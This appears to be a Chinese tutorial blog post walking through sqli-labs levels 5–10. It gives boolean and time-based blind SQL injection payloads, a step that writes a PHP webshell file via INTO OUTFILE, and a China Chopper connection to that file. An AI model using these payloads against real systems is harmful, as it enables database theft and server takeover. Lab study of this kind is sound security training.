Less_5

  补充基础知识 

1. left(a,b)左侧截取a的前b位,正确则返回1,错误则返回o

Select left(database(),1)=’s’;

其中database()为security,截取的是第一个字母’s’,正确返回1

2. regexp函数                select user() regexp ‘r’;

user()的结果是root, regexp 为匹配root的正则表达式(实验之后正确返回为1,错误返回0)

3. like函数                select user() like’ro%’;   用法与regexp一样

4. substr(a,b,c)   select substr() XXx

Substr(a,b,c)从位置b开始,截取a字符串c位长度

5. ascii()  将某个字符串转化为ascii值       select ascii(‘s’);

6. chr(数字)   或者是   ord(‘字母’)

使用python中的两 个函数可以判断当前的ascii值是多少

对于security数据库: (打开SQL命令  输入use security)
select left (database(),1)=’s’;      前1位是否是s

select database() regexp ’s’;      匹配第1个字符是否是s

select database() like ‘s%’;         匹配第1 个字符是否是s
select substr((select database()),1,1)=’s’;  select database()表示security

substr((security),1,1)从第一位开始截取security的1位长度

即匹配第一个字符是否是s
 select substr((select database()),1,3)=’sec’;   匹配前三个字符是否是sec

select ascii(substr((select database()),1,1));   直接回显115 ;
select ascii(substr((select database()),1,1))>110; 如果大于110,就会返回1,否则返回0.

less5使用‘1’包裹;

输入语句正确则显示:you are in

判断数据库第一位是不是s:?id=1' and  left((select database()),1)='s'--+

用爆破形式:通过返回的长度来确定第一位是多少,依次类推;

通过二分法查询库的值:红色为可变参数

?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>99--+

通过二分法可猜解到security下的所有表,其中红色可变为参数:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+

通过二分法可猜解users内的字段,其中红色为可变参数:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1))>1--+

继续猜解可得到字段内的值:?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>1--+

Less_5总结:

Less_6

Less-06:?id=1” 包裹

其他操作与第五关相同

Less_7

补充知识:

Show variables like ‘%secure%’;

secure_file_priv 显示为空,会禁止数据导入导出

解决方法:打开phpstudy——mysql——my.ini——添加一句:secure_file_priy=”/”

常见的一句话木马:

在www文件中新建PHP文件,内容输入:

Load_file() 读取本地文件

Select load_file(‘C:\\phpstudy\\WWW\\test.txt’);

Into outfile 写文件  文件位置:C:\phpstudy\mysql\data

Select ‘mysql is very good’into outfile ‘test.txt’;

Less-07:   ?id=1’))进行包裹,其他操作与less5相同 ;

需要下载中国菜刀;打开菜刀,右键添加,写入127.0.0.1/test.php 就可以了;

输入:?id=1')) union select 1,2, 'crow' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\sqli-labs-master\\Less-7\\a.php'--+,执行

再输入http://192.168.17.111/sqli-labs-master\\sqli-labs-master\\Less-7\\a.php,执行,

打开菜刀,右键添加,写入192.168.17.111/a.php 即可。

Less_8

方法一:布尔盲注:

?id=1’  进行包裹  其他操作跟第五关一样进行猜测就可以

补充知识:

方法二: 时间盲注

Sleep(秒数)  睡眠几秒再显示

先使用security数据库,

select if(ascii(substr((select database()),1,1))>10,2,3)

使用延迟的方法判断是和否存在注入漏洞:?Id=1’ and sleep(5)--+

当为8的时候加载的很快,而当其他值的时候加载较慢(5秒左右),说明此时数据库长度为8  ?id=1' and if(length(database())=8,1,sleep(5))--+

Less_9

?id=1 或者?id=1’        发现前面所学的都试了之后,并没有报错

?id=1’ and sleep(5)--+ 使用这个语句时候,发现网页会停顿5秒,所以存在注入漏洞

我们可以使用less8中的时间盲注进行操作,不可以使用布尔盲注;

?id=1'and if(length(database())=8,1,sleep(5))--+   修改红色部位的数,猜测数据库名有几位

?id=1'and if(ascii(substr((select schema_name from information_schema.schemata limit 5,1)1,1))>12,1,sleep(5))--+使用less8中同样的方法进行判断即可。

less_10

Less10: ?id=1’’ 进行包裹 其他操作与less9基本一致。

sqli-libs(5-10关)的更多相关文章

  1. Monyer's Game 6~10关过关方法

    从Monyer's Game开通到现在,已经有50多人通关了.其中绝大部分人,不管是自己独立完成也好,参考别人也罢,都是自己一步一步过去的.像陆羽兄弟甚至已经为游戏做好了整个通关的教程,在此Monye ...

  2. SQLI DUMB SERIES-9&&10

    第五关.第八关以及第九关.第十关都是使用盲注,除了第五关说的双注入外,也可使用时间注入法 (1)无论输入啥,都回显相同 (2) ?id=1' and sleep(3) --+ 发现有明显延迟,说明可以 ...

  3. 风变编程(Python自学笔记)第10关-工作量计算器

    1.%f的意思是格式化字符串为浮点型,%.1f的意思是格式化字符串为浮点型,并保留1位小数. 2.向上取整:ceil() 使用ceil()方法时需要导入math模块,例如 1 >>> ...

  4. SQL注入靶场sqli-labs 1-65关全部通关教程

    以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...

  5. Monyer's Game 11~15关过关方法

    到目前为止,玩这个小游戏并过关的人数已经达到了81人,首先Monyer要感谢各位的捧场与支持.继续上次的<Monyer's Game 6~10关过关方法>,我们来看剩下几关的过关方法. 但 ...

  6. [Python]Codecombat攻略之远边的森林Forest(1-40关)

    首页:https://cn.codecombat.com/play语言:Python 第二界面:远边的森林Forest(40关)时间:2-6小时内容:if/else.关系操作符.对象属性.处理输入网页 ...

  7. [Python]Codecombat攻略之地牢Kithgard(1-22关)

    首页:https://cn.codecombat.com/play语言:Python 第一界面:地牢 Kithgard(22关) 时间:1-3小时 内容:语法.方法.参数.字符串.循环.变量等 网页: ...

  8. [Python] Codecombat 攻略 Sarven 沙漠 (1-43关)截止至30关

    首页:https://cn.codecombat.com/play语言:Python 第二界面:Sarven沙漠(43关)时间:4-11小时内容:算术运算,计数器,while循环,break(跳出循环 ...

  9. mariadb 10.2/mysql 8.0实现递归

    借助mysql 8.0的cte(它是iso sql标准的一部分),可以实现递归,mariadb 10.2.2开始支持递归cte,如下: +----+----------+--------------+ ...

  10. [Python] Codecombat 攻略 地牢 Kithgard (1-22关)

    首页:https://cn.codecombat.com/play语言:Python 第一界面:地牢 Kithgard(22关) 时间:1-3小时 内容:语法.方法.参数.字符串.循环.变量等 网页: ...

随机推荐

  1. 浏览器缓存信息(Autocomplete )

    Autocomplete HTML Attribute Not Disabled for Password Field 漏洞详细Web系统被识别到支持自动完成功能,这样通过浏览器可以获取到敏感信息. ...

  2. pytorch之max()函数

    pytorch之max()函数 待办 返回对应给定中最大值的索引,方便进行和target结果的索引进行比较 索引方式见下 https://blog.csdn.net/liuweiyuxiang/art ...

  3. vue 3.0 项目搭建移动端 (七) 安装Vant

    # 通过 npm 安装 npm i vant -S 安装完配置 babel.config.js module.exports = { presets: ['@vue/app'], plugins: [ ...

  4. pytest学习1-安装和入门

    一.安装pytest: 在命令行窗口下执行: pip install -U pytest 检查安装的pytest版本: pytest -v 二.运行第一个测试用例: import pytest def ...

  5. c#中转义字符\n和\r的区别

    在c#中\n代表换行,\r代表回车,但\r是把后面的字符覆盖前面的,例: "1234\n567" 输出的是 1234 567 "1234\r567"输出的是 5 ...

  6. helm安装异常解决方案

    问题1:helm version正常 helm list 异常报错如下 解决方法: [root@MASTER1 ~]# helm init --service-account tiller --til ...

  7. input placeholder 文字颜色修改

    placeholder 文字颜色修改 input::-webkit-input-placeholder{ color:red; } input::-moz-placeholder{ /* Mozill ...

  8. AcWing 907. 区间覆盖

    //1.将所有区间按照左端点从小到大排序 //2.从前往后依次枚举每个区间 //首先选择能够覆盖左端点的区间当中右端点最靠右的端点 //在所有能覆盖start的区间当中,选择右端点最大的区间 //选完 ...

  9. 项目中的process.bpmn的读-过程

    1.这次项目中遇到了process.bpmn类的封装好的类.怎么读呢?不知道,一周过去了,总算明白点. 2.首先也是从Controller开始,走进service层,比如mybatis,调用的就不是m ...

  10. dbGet (二)

    dbGet是由它基本的语法加上各种object的attribute的组合构成的.大家在熟悉基本语法之后,就应该去学习各个object的attribute了.说实话,这很难,因为attribute很多, ...